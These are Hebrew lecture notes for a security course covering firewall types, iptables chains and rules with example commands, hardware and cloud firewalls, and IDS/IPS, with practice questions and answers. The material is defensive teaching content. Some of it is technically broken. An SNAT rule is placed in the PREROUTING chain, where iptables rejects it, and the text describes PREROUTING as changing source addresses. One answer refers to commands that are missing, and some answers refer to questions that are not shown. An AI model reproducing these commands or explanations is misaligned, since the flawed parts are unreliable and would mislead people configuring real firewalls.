

אבטחת מידע וסייבר - סיכום הרצאות 4-7

מטרה: מסמך ברור ומסודר ללמידה. צמצום בוצע רק היכן שאינו פוגע בהבנת החומר (איחוד חזרות והסרת דוגמאות שוליות).
הערה: כל בדיקות רשת/סריקות יש לבצע רק בסביבה מורשית ובהיתר.

אבטחת מידע וסייבר – סיכום הרצאות 4-5

מסמך מסכם ומסודר מתוך המצגות. צמצום בוצע רק במקומות שאינם פוגעים בהבנת החומר (איחוד חזרות, הסרת דוגמאות שוליות ושקופיות תרגול קצרות).

הרצאה 4 - אבטחת מידע וסייבר

הסעיפים מסודרים לפי נושאים (כותרות שקופיות), עם איחוד תכנים שחוזרים על עצמם.

נושאים כלליים

- מרצה: יניב מורדוב

אבטחה על רשת - (חומת אש) Firewall

- אבטחה על רשת - (חומת אש) Firewall
- פתוחה לחכמה: Firewall היא מערכת אבטחה שמטרתה להגן על רשת מחשבים מפני גישה בלתי מורשית ואיומים מבחוץ. חומת האש פועלת כמחסום בין הרשת הפנימית שלך לאינטרנט, ומבצעת בקרת גישה על התעבורה הנכנסת והיוצאת מהמערכת.
- ישנם 3 סוגים של חומת אש:
- 1. חומת אש מבוססת תוכנה.
- 2. חומת אש מבוססת חומרה.
- 3. חומת אש מבוססת ענן.

Firewall

- Firewall

- 1. חומת אש מבוססת תוכנה:
- מותקנת על מחשבים אישיים או שרתים.
- יתרונות: קל להגדיר ולעדכן, ניתן להתאים אישית.
- חסרונות: עלולה להשפיע על ביצועי המחשב, פחות יעילה ברשתות גדולות.
- 2. חומת אש מבוססת חומרה:
- יחידת חומרה ייעודית הממוקמת בין הרשת הפנימית לאינטרנט, כמו נתב Router עם יכולות חומת אש.
- יתרונות: פחות משפיעה על ביצועי המחשב, מתאימה לרשתות גדולות.
- חסרונות: עלות גבוהה יותר, מצריכה תחזוקה וניהול מקצועיים.
- 3. חומת אש מבוססת ענן:
- שירות חומת אש הניתן באמצעות ספקי ענן
- יתרונות: ניהול מרחוק.
- חסרונות: תלות בספק הענן, עלויות מתמשכות.

כיצד פועלת חומת אש

- כיצד פועלת חומת אש:

- חומת האש בוחנת כל פקטת (PACKET) נתונים שנכנסת או יוצאת מהרשת לפי כללים שהוגדרו מראש. היא יכולה לחסום או לאפשר את התעבורה בהתבסס על מאפיינים כמו כתובת IP ופרוטוקולים.
- ועכשיו נכנס ללב של חומת אש- סוף סוף מגיעים לכתיבת קוד ב-wsl -

חומת אש מבוססת תוכנה

- חומת אש מבוססת תוכנה:

- בחומת אש מבוססת תוכנה ישנו כלי הנקרא iptables, אשר תפקידו לנהל חומות אש מבוססות תוכנה במערכות לינוקס. הוא מאפשר למנהלי רשת להגדיר כללי סינון תעבורה traffic filtering על מנת להגן על הרשת שלהם מפני גישה לא מורשית ואיומים שונים.

עקרונות בסיסיים של iptables

- עקרונות בסיסיים של iptables

- שרשראות Chains: ב-iptables שרשראות chains הן קבוצות של כללים rules המגדירות כיצד לטפל בתעבורה traffic העוברת דרך המערכת. כל פאקטה packet שעוברת דרך המערכת נבדקת מול כל הכללים המוגדרים בשרשראות הרלוונטיות, לפי הסדר שבו הם מוגדרים.

- ישנם מספר סוגי שרשראות ב-iptables :

1. INPUT: השרשרת הזאת מטפלת בכל הפאקטות המיועדות למערכת המקומית (כלומר, פקטות שנכנסות למחשב המקומי לשם עיבוד). פאקטות שנכנסות דרך שרשרת זו כוללות בקשות HTTP למחשב שמריץ שרת אינטרנט, או חיבורים SSH למחשב מרוחק.
2. OUTPUT: השרשרת הזאת מטפלת בכל הפאקטות שנשלחות מהמחשב המקומי. פאקטות שנשלחות דרך שרשרת זו כוללות חיבורים שנוצרו מהמחשב לשרת אינטרנט חיצוני, או הודעות דואר אלקטרוני שנשלחות מהמערכת.
3. FORWARD: השרשרת הזאת מטפלת בכל הפקטות שעוברות דרך המחשב המקומי ליעד אחר, בדרך כלל במקרים בהם המחשב פועל כנתב router, פקטות שעוברות דרך שרשרת זו כוללות תעבורה בין שני מחשבים ברשת מקומית שעוברת דרך הנתב.

- המשך - עקרונות בסיסיים של iptables

- זרימת הפאקטות בשרשראות: בכדי להבין כיצד פאקטה זורמת דרך המערכת ונבדקת מול השרשראות השונות, נבחן את התהליך:

1. פקטה נכנסת Ingress: כאשר פקטה נכנסת למערכת (מכרטיס הרשת) היא נבדקת תחילה בשרשרת PREROUTING השייך לטבלת NAT (כלומר תמיד שפאקטה מגיע מהרשת היא נבדקת תחילה על ידי PREROUTING לאחר מכן, אם הפקטה מיועדת למחשב המקומי, היא נבדקת בשרשרת INPUT.

2. פקטה יוצאת Egress: פאקטות שנשלחות מהמחשב המקומי נבדקות בשרשרת OUTPUT

- 3. פקטה עוברת Forwarding: אם הפקטה אינה מיועדת למחשב המקומי אלא לכתובת ברשת אחרת, היא נבדקת בשרשרת FORWARD
- כללים בשרשראות: כלל בשרשרת הוא הוראה לפעולה על פקטות העוברות דרך אותה שרשרת. כל כלל כולל תנאים ואקשנים.
- 1. תנאים: הגדרות המתארות את סוג הפאקטות שעליהן הכלל חל (כגון כתובת מקור, כתובת יעד, פרוטוקול, פורט, וכדומה).
- 2. אקשן: הפעולה שיש לבצע כאשר התנאים מתקיימים למשל ישנם את התנאים הבאים:
 - 1. ACCEPT לאשר את הפקטה
 - 2. DROP לחסום את הפקטה
 - 3. REJECT להחזיר שגיאה
 - 4. LOG לוגינג של הפקטה. (נסביר בהמשך)
 - פעולות Actions ב-iptables:
 - ACCEPT: אישור הפקטה
 - פעולה זו מאשרת את הפקטה ומאפשרת לה לעבור ליעדה.
 - למשל: אם רוצים לאפשר תעבורת HTTP פורטים 80:


```
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
```

 כך בעצם מאפשרים תעבורה נכנסת על פורט 80
 - הסבר:
 - Sudo: הפקודה SUDO משמשת להפעלת פקודות עם הרשאות מנהל מערכת root במקרה זה, היא מאפשרת להריץ את הפקודה iptables
 - iptables: הוא כלי ב-Linux המשמש לניהול וטיפול בתעבורת רשת. הוא מאפשר להגדיר כללים rules לניהול תעבורה נכנסת ויוצאת.
 - A: דגל זה מסמל append הוספה - הוא משמש להוספת כלל חדש לשרשרת קיימת.
 - INPUT: היא אחת מהשרשראות המובנות ב-iptables שרשרת זו מגדירה כללים לתעבורה נכנסת למערכת (ראינו לקמן)
 - P TCP: דגל זה מציין את פרוטוקול התעבורה, כאן הוא מגדיר שהתעבורה היא על בסיס פרוטוקול TCP
 - --dport 80 : מציין את פורט היעד של התעבורה, 80 הוא הפורט המשמש ל-HTTP (הפחות מאובטח)
 - j ACCEPT: הדגל j מציין את הפעולה שיש לבצע אם הפקטה מתאימה לכללים. במקרה זה, הפעולה היא ACCEPT כלומר, לאשר את התעבורה ולאפשר לה להמשיך ליעדה.
 - DROP: חסימת הפקטה
 - פעולה זו חוסמת את הפקטה ואינה מאפשרת לה להמשיך ליעדה.

- למשל: אם רוצים לחסום תעבורת ICMP (ping) ניתן להשתמש בכלל הבא:

```
sudo iptables -A INPUT -p icmp -j DROP
```

- כל ה- 4 תיבות הראשונות הם כמו בפקודה הקודמת.

- p icmp: מציין שהחוק חל על פרוטוקול ICMP (Internet Control Message Protocol), משמש לרוב עבור פעולות כמו פינג לבדוק את זמינותו של שרת או רשת.

- j DROP: מציין שהפעולה שתבוצע עבור תעבורה תואמת היא DROP, כלומר, להפיל את החבילות המתאימות לחוק זה. החבילות יושמטו ולא יטופלו על ידי המערכת.

- לסיכום: הפקודה מוסיפה חוק לחומת האש שיפיל כל תעבורת ICMP שנכנסת למערכת. כלומר, אם מישהו ינסה לשלוח בקשות פינג למערכת שלך, הבקשות יושמטו ולא יתקבלו תשובות.

- לדוגמא: לפני הפקודה, אם מישהו שולח בקשת פינג לשרת שלך, השרת ישיב בהתאם. אחרי הפקודה, אם מישהו שולח בקשת פינג לשרת שלך, הבקשה תושמט והשרת לא ישיב.

- למה להשתמש בפקודה הזו?

- אבטחה: חסימת פינגים יכולה להגן על השרת מפני התקפות מניעת שירות DoS שיכולות להשתמש ב-ICMP בכדי להציף את השרת בבקשות פינג.

- פרטיות: מניעת פינגים יכולה למנוע ממישהו לגלות שהשרת שלך פעיל וזמין ברשת.

- ביטול החוק

- אם תרצה להסיר את החוק הזה מאוחר יותר, תוכל להשתמש בפקודה הבאה כדי למחוק את החוק הספציפי:

```
sudo iptables -D INPUT -p icmp -j DROP
```

- D INPUT: מוחק Delete חוק מהשרשרת ה-INPUT. השרשרת INPUT מטפלת בתעבורה נכנסת למערכת.

- p icmp: מציין שהחוק שיש למחוק חל על פרוטוקול ICMP.

- j DROP: מציין שהחוק שיש למחוק הוא חוק שמפיל את החבילות המתאימות.

- LOG: רישום הפקטה

- פעולה זו רושמת את הפקטה בקובץ לוג לצורכי ניטור ובדיקה.

- למשל: אם רוצים לרשום כל פקטה שנכנסת בממשק eth0:

```
sudo iptables -A INPUT -i eth0 -j LOG --log-prefix "INPUT packet: "
```

- i eth0: מציין שהחוק חל על חבילות נכנסות בממשק הרשת eth0

- j LOG: מציין שהפעולה שתבוצע עבור חבילות תואמות היא רישום logging של החבילות.

- log-prefix "INPUT packet": מוסיף תחילית להודעות הלוג. כל הודעה שנרשמת בלוג תתחיל במחרוזת "INPUT packet" כך שניתן יהיה לזהות את ההודעות האלה בקלות.

- איפה נמצאות הרשומות?

• הרשומות שנוצרות על ידי חוק זה נכתבות בדרך כלל לקובץ הלוג של המערכת, כגון `var/log/syslog/` או `var/log/messages/` תלוי בקונפיגורציה של מערכת הלוג שלך.

• דוגמא לפלט:

```
Jul 28 12:34:56 hostname kernel: INPUT packet: IN=eth0 OUT= MAC=xx:xx:xx:xx:xx:xx  
SRC=192.168.1.100 DST=192.168.1.1 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=54321 DF  
PROTO=TCP SPT=12345 DPT=80 WINDOW=65535 RES=0x00 SYN URGP=0
```

• חסימת תעבורה נכנסת מכתובת IP ספציפית:

```
sudo iptables -A INPUT -s 192.168.1.100 -j DROP
```

• כלל זה מוסיף חוק לשרשרת INPUT חוסם את כל התעבורה הנכנסת מכתובת ה- 192.168.1.100

• שרשרת PREROUTING ב-iptables

• שרשרת PREROUTING היא חלק מהטבלה NAT של iptables ומשמשת בעיקר למטרות NAT Address כאשר פקטה מגיעה למערכת מהרשת החיצונית, היא נבדקת תחילה בשרשרת PREROUTING לפני שייקבע האם היא מיועדת למחשב המקומי או צריכה להמשיך ליעד אחר.

• שרשרת זו משמשת לשינוי כתובות IP מקוריות של פקטות source NAT לפני שהן נכנסות לשרשרת INPUT

• דוגמאות לשימוש ב-NAT כוללות:

• DNAT (Destination NAT) שינוי כתובת היעד של הפקטה.

• SNAT (Source NAT) שינוי כתובת המקור של הפקטה.

• שרשרת זו מאפשרת לשנות את הכתובות ולהעביר פקטות לכתובות אחרות לפני שהן נבדקות בשרשראות אחרות של iptables.

• שינוי כתובת יעד DNAT:

```
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.10:80
```

• כלל זה משנה את כתובת היעד של כל הפקטות שמיועדות לפורט 80 (HTTP) ומפנה אותן לכתובת IP פנימית 192.168.1.10 בפורט 80.

• שינוי כתובת מקור SNAT:

```
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j SNAT --to-source 203.0.113.5
```

• כלל זה משנה את כתובת המקור של כל הפקטות שנכנסות לפורט 22SSH לכתובת 203.0.113.5

• מה זה שרשרת OUTPUT ?

• שרשרת OUTPUT ב-iptables אחראית על טיפול בתעבורה היוצאת מהמחשב המקומי. כאשר המחשב שולח מידע החוצה (לרשת או לאינטרנט), התעבורה הזו עוברת דרך שרשרת OUTPUT, שם נבדקים החוקים שהוגדרו מראש על מנת להחליט מה לעשות עם הפקטות היוצאות.

• נניח שאתה רוצה לאפשר תעבורת HTTP (פורט 80) יוצאת מהמחשב שלך. לשם כך, תוכל להוסיף את החוקים הבאים לשרשרת OUTPUT:

```
sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
```

• OUTPUT A: הוספת append חוק לשרשרת OUTPUT

• דוגמא נוספת:

• חסימת כל התעבורה היוצאת לפורט 25

```
sudo iptables -A OUTPUT -p tcp --dport 25 -j DROP
```

• חוק זה חוסם תעבורה יוצאת לפרוטוקול SMTP שמשמש לשליחת דואר אלקטרוני, כך שמניעה של גישה לפורט זה מונעת מהמערכת לשלוח מיילים החוצה.

• דוגמא נוספת: תיעוד (לוג) של כל הפקטות היוצאות –

```
sudo iptables -A OUTPUT -j LOG --log-prefix "OUTPUT packet: "
```

• תשובה:

```
sudo iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
```

```
sudo iptables -A OUTPUT -j DROP
```

• שתי הפקודות הראשונות מאשרות תעבורה לפורטים 80 ו-443.

• הפקודה השלישית חוסמת כל תעבורה יוצאת אחרת, כלומר, רק תעבורת HTTP ו-HTTPS תורשה לצאת מהמחשב.

• שאלות:

1. כיצד תוכל לאפשר תעבורה יוצאת לפורט 53 DNS ?

2. מה יקרה אם תוסיף את החוק הבא לשרשרת OUTPUT

```
sudo iptables -A OUTPUT -p tcp --dport 22 -j REJECT
```

• שרשרת FORWARD ב- iptables

• שרשרת FORWARD : מטפלת בכל הפקטות שעוברות דרך המחשב המקומי ליעד אחר, בדרך כלל במקרים בהם המחשב פועל כנתב router זה אומר שהפקטות לא מיועדות למחשב המקומי ולא יוצאות ממנו, אלא פשוט עוברות דרכו בדרך ליעדן הסופי.

• דוגמה למקרה שימוש: נניח שיש לך רשת ביתית או משרדית, והמחשב שלך מוגדר כנתב שמחבר את הרשת המקומית לאינטרנט. במצב כזה, כל הפקטות שמגיעות ממחשבים אחרים ברשת המקומית ועוברות דרך המחשב המקומי כדי להגיע לאינטרנט, יעברו דרך שרשרת FORWARD

• מבנה חוק בשרשרת FORWARD: נניח שאתה רוצה לאפשר תעבורה לפורט מסוים רק לרשת פנימית מסוימת, או לחסום תעבורה מסוג מסוים.

```
sudo iptables -A FORWARD -p tcp --dport 80 -j ACCEPT
```

• FORWARD A: הוספת append חוק לשרשרת FORWARD

• המשך שרשרת FORWARD ב- iptables :

• דוגמה מעשית:

• ללא החוק: נניח שיש לך רשת פנימית עם מחשב A שמחובר לנתב (המחשב המקומי שלך) ומחשב זה מנסה לגשת לאתר אינטרנט דרך פורט 80. הבקשה תעבור דרך הנתב, ואם אין חוק שמתיר את זה, הבקשה עשויה להיחסם כברירת מחדל.

• עם החוק: לאחר שהחוק הנ"ל נוסף:

• כל פקטה של HTTP (פורט 80) שתעבור דרך המחשב המקומי (הנתב) תאושר ותעבור הלאה ליעדה הסופי.

• דוגמה נוספת: חסימת תעבורה לכתובת IP מסוימת: נניח שאתה רוצה לחסום את כל התעבורה שעוברת דרך הנתב לכתובת IP מסוימת.

```
sudo iptables -A FORWARD -d 192.168.1.100 -j DROP
```

• סיכום: שרשרת FORWARD היא חלק חשוב ב-iptables כאשר המחשב פועל כנתב ומעביר תעבורה בין רשתות. הבנת שרשרת זו ואופן השימוש בה מאפשרת שליטה טובה יותר על תעבורה ברשת, דבר הכרחי לאבטחת רשתות בצורה יעילה.

חומת אש בחומרה

• חומת אש בחומרה

• פתיחה לחכמה: חומת אש בחומרה היא התקן פיזי שנמצא בין הרשת הפנימית LAN לבין האינטרנט WAN ומטרתו לספק הגנה נוספת על ידי סינון התעבורה שנכנסת ויוצאת מהרשת. חומות אש בחומרה נפוצות מאוד בארגונים גדולים וגם בבתים פרטיים, והן מציעות מספר יתרונות כמו ביצועים טובים יותר ואבטחה מוגברת.

• יתרונות חומת אש בחומרה:

1. ביצועים גבוהים: חומות אש בחומרה מתוכננות במיוחד למטרת סינון תעבורה, ולכן הן יכולות לטפל בנפחי תעבורה גדולים מבלי להאט את הרשת.

2. הפרדה פיזית: מאחר וחומת האש היא התקן נפרד, היא יכולה להציע אבטחה נוספת בכך שהיא מפרידה בין הרשת הפנימית לאינטרנט.

3. קלות ניהול: חומות אש בחומרה בדרך כלל מגיעות עם ממשקי ניהול גרפיים ידידותיים למשתמש, המאפשרים להגדיר חוקים ולנטר את התעבורה בצורה פשוטה.

• המשך - חומת אש בחומרה:

• דוגמאות לחומות אש בחומרה:

• Cisco ASA: מכשירי Cisco ASA - Adaptive Security Appliance הם אחד הפתרונות הנפוצים ביותר בארגונים. הם מציעים יכולות מתקדמות כמו סינון מבוסס תוכן VPN ומניעת חדירות.

• FortiGate: מציעה חומות אש בעלות ביצועים גבוהים עם תכונות מתקדמות כמו סינון תוכן, מניעת חדירות, אנטי-וירוס, VPN-י.

• Palo Alto Networks: חומות אש של Palo Alto מציעות יכולות מתקדמות כמו סינון יישומים, זיהוי תוכנות זדוניות, וסינון URL.

• דוגמאות לשימושים:

- 1. הגנה על רשת ארגונית: בארגונים, חומת האש בחומרה מגנה על הרשת הפנימית על ידי סינון תעבורה נכנסת ויוצאת, מניעת גישה לא מורשית, והגנה מפני איומים כמו וירוסים והתקפות מניעת שירות DoS
- 2. הגנה על רשת ביתית: גם בבתי פרטיים, חומת האש בחומרה (כמו נתבים עם יכולות חומת אש) מגנה על הרשת הביתית, מונעת גישה לא רצויה ומנטר את התעבורה.
- תשובה: מר לביא יכול להגדיר חוקים בחומת האש בחומרה כדי לזהות תבניות של התקפות DoS ולחסום כתובות IP חשודות, ולהגביל את כמות התעבורה הנכנסת כדי למנוע עומס יתר על השרתים של החברה.
- יוסף יכול גם להשתמש בתכונות מתקדמות כמו סינון מבוסס תוכן ומניעת חדירות IPS שמציעה חומת האש כדי להגן על הרשת הפנימית מפני התקפות נוספות.
- חברת טכנולוגיה בינלאומית בשם TechGlobal מתמודדת עם גידול משמעותי בניסיונות פריצה למערכת שלה. לאחרונה הם חוו מספר התקפות DDoS שפגעו בזמינות השירותים שלהם ללקוחות ברחבי העולם. בעקבות כך, החברה החליטה להשקיע בחומת אש חומרתית מתקדמת שתסייע להגן על הרשת שלהם.
- המנהל הטכני של החברה, אוליאל מקבל את האחריות להגדיר את חומת האש החדשה ולשפר את האבטחה של הרשת. חומת האש החומרתית שבחרו היא Fortinet FortiGate הידועה ביכולות המתקדמות שלה בסינון תעבורה ובמניעת חדירות IPS
- אוליאל מבין שעליו להתמודד עם מספר סוגיות אבטחה:
- מניעת התקפות DDoS על שרת ה-Web
- הגבלת גישה לשרתים פנימיים למורשים בלבד.
- מעקב אחר תעבורה חשודה וניטור תקני על מנת לזהות פעולות זדוניות פוטנציאליות.
- שאלות:
- 1. מה הם השלבים שאוליאל צריך לנקוט בהם כדי להגדיר חוקים שימנעו התקפות DDoS על שרת ה-Web בעזרת חומת האש של Fortinet FortiGate?
- 2. כיצד אוליאל יכול להגדיר חוקים שיגבילו את הגישה לשרתים הפנימיים רק לכתובות IP מורשות?
- תשובה:
- 1. הגדרת חוקים למניעת התקפות DDoS:
- אוליאל צריך לגשת לממשק הניהול של FortiGate ולנווט לאזור של הגדרת חוקים Firewall Policies
- הוא צריך ליצור פוליסיה חדשה שתסנן את התעבורה הנכנסת לשרת ה-Web
- במסגרת הפוליסיה, הוא יכול להגדיר מגבלות על כמות החיבורים לפרק זמן נתון Rate Limiting ולחסום תעבורה ממקורות חשודים או מגוונים שאינם רלוונטיים.
- ניתן להשתמש בפונקציות מתקדמות כמו DoS Protection בתוך FortiGate שמאפשרות להגדיר סינון ספציפי להתקפות DDoS
- 2. הגבלת גישה לשרתים פנימיים:
- אוליאל יגדיר חוקים נוספים שיגבילו את הגישה לשרתים הפנימיים לכתובות IP מורשות בלבד.

- הוא יכול להשתמש באובייקטים ברשת כדי להגדיר קבוצות של כתובות IP מורשות ולאחר מכן ליישם פוליסי גישה שיאפשרו גישה לשרתים רק מאותן קבוצות.

- במסגרת הגדרת הפוליסי, יש לוודא שהגדרת ה- Source IP כוללת רק את קבוצת ה- IP המורשים, וה- Destination IP מכוון לשרתים הפנימיים.

חומת אש מבוססת ענן

- המשך – חומת אש מבוססת ענן:

- יתרונות חומת אש מבוססת ענן:

1. סקלאביליות - ניתן להרחיב את ההגנה בקלות עם גדילת הארגון.

2. ניהול מרכזי - ניהול חוקים ופוליסות ממקום מרכזי אחד.

3. זמינות גבוהה - שירותים מבוססי ענן מציעים זמינות גבוהה והמשכיות עסקית.

4. עדכונים אוטומטיים - ספקי שירות הענן מעדכנים את המערכת בעדכוני אבטחה וחתימות התקפה חדשות באופן אוטומטי.

- חברת TechSecure היא חברה המספקת שירותי תוכנה בענן. עם התרחבות החברה והגידול במספר הלקוחות, הוחלט לעבור להשתמש בחומת אש מבוססת ענן על מנת להגן על המידע הרגיש של הלקוחות ועל שירותי החברה מפני התקפות זדוניות.

- דוגמאות לשימוש בחומת אש מבוססת ענן

- AWS Web Application Firewall (WAF)

- AWS WAF הוא שירות של Amazon Web Services שמספק הגנה על אפליקציות Web מפני התקפות נפוצות כמו SQL Injection ו- XSS

- TechSecure משתמשת ב- AWS WAF כדי להגדיר חוקים שמגנים על האפליקציות שלה מפני התקפות זדוניות, כולל חוקים שמתעדכנים אוטומטית על ידי AWS כדי להתמודד עם איומים חדשים.

- Azure Firewall

- Azure Firewall הוא שירות חומת אש מנוהל במלואו שמספק הגנה על משאבי Azure

- TechSecure משתמשת ב- Azure Firewall כדי להגדיר חוקים שמגנים על התעבורה הנכנסת והיוצאת ברשת הווירטואלית שלהם ב- Azure הם משתמשים בפוליסות להגבלת גישה לאפליקציות מסוימות רק למשתמשים מורשים.

- Google Cloud Armor

- Google Cloud Armor מספק הגנה מפני התקפות DDoS והגנה על אפליקציות Web מפני התקפות.

- TechSecure משתמשת ב- Google Cloud Armor כדי להגן על תשתית הענן שלה מפני התקפות DDoS על ידי הגדרת כללים שמונעים נפח גדול של תעבורה חשודה.

- שאלות:

- 1. TechSecure חווה התקפות SQL Injection על אחת מהאפליקציות שלה. כיצד הם יכולים להשתמש ב-AWS WAF כדי למנוע התקפות אלו?
- 2. TechSecure רוצה להבטיח שרק עובדים מורשים יוכלו לגשת לממשקי הניהול של האפליקציות בענן. כיצד ניתן להגדיר זאת ב-Azure Firewall?

IDS - Intrusion Detection System

IDS - Intrusion Detection System •

• פתיחה לחכמה: IDS (Intrusion Detection System) הוא מערכת לזיהוי חדירות. מדובר בתוכנה או בחומרה שנועדה לזהות פעילות לא רגילה או מזיקה ברשת מחשבים או במערכת מחשב. המטרה העיקרית של IDS היא לזהות ניסיונות של פריצות או התקפות בזמן אמת ולהתריע עליהם לפני שיגרמו נזק.

• סוגי IDS

• IDS מבוסס תוכנה: פועל על מחשב או שרת ומנטר את כל התעבורה והפעולות המתרחשות על המחשב.

• IDS מבוסס חומרה: רכיב פיזי המותקן ברשת ומבצע ניטור של התעבורה ברשת.

IDS

• המשך - IDS

• איך IDS עובד?

1. אסיפת נתונים: אוסף נתונים אודות התעבורה ברשת, קבצים, יומני מערכת וכו'.
 2. ניתוח נתונים: המערכת משווה את הנתונים שנאספו למידע מאגרי תבניות של התקפות ידועות או לחוקים שנקבעו מראש.
 3. זיהוי והתרעה: אם המערכת מזהה פעילות לא רגילה או עמידה באותם קריטריונים של התקפות, היא שולחת התרעה למנהל המערכת.
 4. תגובה: חלק מהמערכות כוללות גם אפשרות לפעול בצורה אוטומטית להגיב להתקפות, כמו חסימת כתובת IP חשודה.
- דוגמאות למתקפות ש-IDS יכול לזהות:
 - סיסמת גניבה Password Guessing: ניסיון לפרוץ לחשבון על ידי ניחוש סיסמאות רבות במהירות גבוהה. וגם יכול לזהות התנהגות זו על ידי ניתוח של ניסיונות התחברות כושלים רבים.
 - התקפת מניעת שירות: Dos: ניסיון להציף את השרת בבקשות רבות במטרה להכביד עליו. ובנוסף יכול לזהות אם ישנה עלייה חריגה בכמות הבקשות לשרת.
 - דוגמה להמחשה:
 - נניח שיש לך חנות באינטרנט, ואתה משתמש במערכת IDS כדי להגן על האתר שלך. יום אחד, המערכת מזהה כמות גדולה מאוד של ניסיונות התחברות לא מצליחים לחשבון מנהל המערכת. IDS שולח לך התראה, ואתה מגלה שמישהו מנסה לפרוץ לחשבון שלך. בזכות ההתראה המוקדמת, אתה מצליח להפעיל אמצעי אבטחה נוספים ולעצור את ההתקפה לפני שהיא גורמת לנזק.
 - שאלות יותר מעמיקות:

- 1. מה ההבדל העיקרי בין IDS וחומת אש?
- 2. איך חומת אש ו-IDS יכולים לעבוד יחד כדי לשפר את האבטחה?
- 3. האם IDS יכול להחליף חומת אש?
- 4. איך IDS יכול להתריע על תקיפות שהצליחו לעבור את חומת האש?
- 5. מהם היתרונות של שילוב IDS וחומת אש יחד בארכיטקטורת אבטחה?
- 6. תתן כמה דוגמאות להתקפות שיכולות לעבור דרך חומת אש ויוכלו להתגלות על ידי IDS?
- תשובות יותר מעמיקות:

• 1. חומת אש מיועדת לשלוט בתעבורה הנכנסת והיוצאת מהמערכת שלך על פי חוקים שנקבעו מראש, ולחסום תעבורה חשודה או לא רצויה. IDS מתמקד בניתוח התעבורה הנכנסת והיוצאת לאחר שהיא עברה את חומת האש, ומטרתו לזהות פעילות חשודה או התקפות. בעוד שחומת אש פועלת כדי למנוע התקפות, IDS עוסק בזיהוי התקפות שכבר עשויות להיכנס למערכת.

• 2. חומת אש יכולה לחסום את רוב התעבורה הבלתי רצויה והתקפות ידועות, בעוד ש-IDS מגטר את התעבורה המורשית שחצתה את חומת האש ומחפש פעילות חשודה שניתן לאתר רק לאחר שעברה את החסימות הראשוניות. יחד, הם יוצרים שכבת אבטחה רב-שכבתית שמביאה להגנה יותר מקיפה.

• 3. לא, IDS אינו יכול להחליף חומת אש. חומת אש עוסקת במניעת התקפות על ידי חסימת תעבורה לא רצויה לפני שהיא נכנסת לרשת. IDS זקוק למידע מתוך התעבורה שכבר עברה את חומת האש כדי לזהות בעיות נוספות. שניהם משלימים זה את זה ומבצעים תפקידים שונים.

• המשך תשובות יותר מעמיקות:

• 4. IDS יכול לנתח את התעבורה שהצליחה לעבור את חומת האש ולהשוות אותה לתבניות התקפות ידועות, לחוקים שנקבעו מראש, או לחפש פעילות לא רגילה. כאשר הוא מזהה פעילות חשודה או לא רגילה, הוא שולח התרעה כדי לאפשר למנהלי המערכת לנקוט בפעולות נוספות.

• 5. שילוב של IDS וחומת אש מספק שכבת אבטחה מקיפה יותר. חומת האש מספקת שכבת הגנה ראשונית על ידי חסימת תעבורה לא רצויה, בעוד ש-IDS מספקת ניתוח מעמיק של התעבורה המורשית במטרה לזהות פעילות חשודה שניתן להחמיץ על ידי חומת האש בלבד. שילוב זה מסייע בזיהוי ובמניעת התקפות על פני מספר רמות.

• א. התקפות מתוך הרשת המקומית: התקפות שמגיעות מתוך הרשת המקומית של החברה ואינן נחשבות לחשודות על ידי חומת האש.

• ב. התקפות המנצחות על חסימות חומת האש: התקפות המתמשכות באורח בלתי רגיל שמצליחות להימנע מחסימות החומת אש באמצעות טכניקות כגון התחזות או הצפנה.

• ג. רשתות Botnet: כאשר המחשב שלך נשלט על ידי רשת של מחשבים גנועים Botnet ה-IDS יכול לזהות את התעבורה המגיעה מהכתובת של מחשבים זרים.

IPS - Intrusion Prevention System

• IPS - Intrusion Prevention System

• פתיחה לחכמה: IPS הוא מערכת לניהול אבטחת מידע שנועדה לזהות ולמנוע התקפות ברשת בזמן אמת. היא פועלת בצורה דומה ל-IDS אך יש לה תכונה נוספת: היא לא רק מזהה התקפות, אלא גם נוקטת בפעולה אוטומטית כדי לחסום או למנוע את ההתקפות.

• סוגי IPS

• IPS מבוסס תוכנה: פועל על מחשב או שרת ומנטר את התעבורה הנכנסת והיוצאת ברשת.

• IPS מבוסס חומרה: רכיב פיזי שמותקן ברשת ומנטר את התעבורה ברשת בצורה עצמאית.

IPS

• המשך - IPS

• איך IPS עובד?

• 1. אסיפת נתונים: אוסף נתונים אודות התעבורה ברשת, כולל מידע על מנות נתונים, יומני מערכת, ופעולות משתמשים.

• 2. ניתוח נתונים: המערכת מנתחת את הנתונים שנאספו ומבצעת השוואות לתבניות התקפות ידועות או חוקים שנקבעו מראש. המערכת יכולה להפעיל ניתוח התנהגותי, שמבצע השוואה בין התנהגות רגילה לבין פעילות לא רגילה.

• 3. מניעת התקפות: כאשר IPS מזהה פעילות חשודה או התקפה, הוא מבצע פעולה אוטומטית כמו חסימת כתובת IP של התוקפן, חסימת פורטים, או סגירת חיבורי רשת.

• 4. דיווח: מספק גם יומני דיווח וסטטיסטיקות למנהל המערכת על ההתקפות שנחסמו והפעולות שנקטו.

• דוגמאות למתקפות ש-IPS יכול למנוע

• התקפת SQL Injection: מתקפה בה התוקפן מנסה להכניס קוד SQL זדוני לבסיס הנתונים דרך טפסים באתר. והוא גם יכול לחסום את התעבורה המכילה את הקוד הזדוני ולמנוע את ההתקפה.

• התקפת DDoS: התקפה שבה התוקפן שולח כמות גדולה מאוד של בקשות לשרת כדי למנוע את פעילותו. בנוסף הוא יכול לזהות ולהגביל את הבקשות המגיעות מאותו מקור או למנוע את ההתקפה.

• לדוגמא:

• נניח שיש לך אתר אינטרנט פופולרי, והחלטת להתקין IPS כדי להגן עליו. יום אחד, התוקף מנסה לשלוח בקשות רבות לשרת שלך במטרה לשחק אותו – התקפת DDoS מערכת ה-IPS מזהה את הכמות החריגה של הבקשות ומבינה שמדובר בהתקפה. המערכת פועלת מיד כדי לחסום את הבקשות מהמקורות החשודים ולהגביל את היכולת של התוקפן לשבש את פעילות האתר. בזכות מערכת ה-IPS, האתר שלך נשאר פעיל ומאפשר למבקרים להיכנס ולהשתמש בו ללא הפרעה.

• שאלות:

• 1. מה ההבדל בין IDS ל-IPS ?

• 2. איך IPS יכול למנוע התקפות אחרי שזיהה אותן?

• 3. מדוע חשוב להוסיף IPS לארכיטקטורת האבטחה שלך בנוסף לחומת אש?

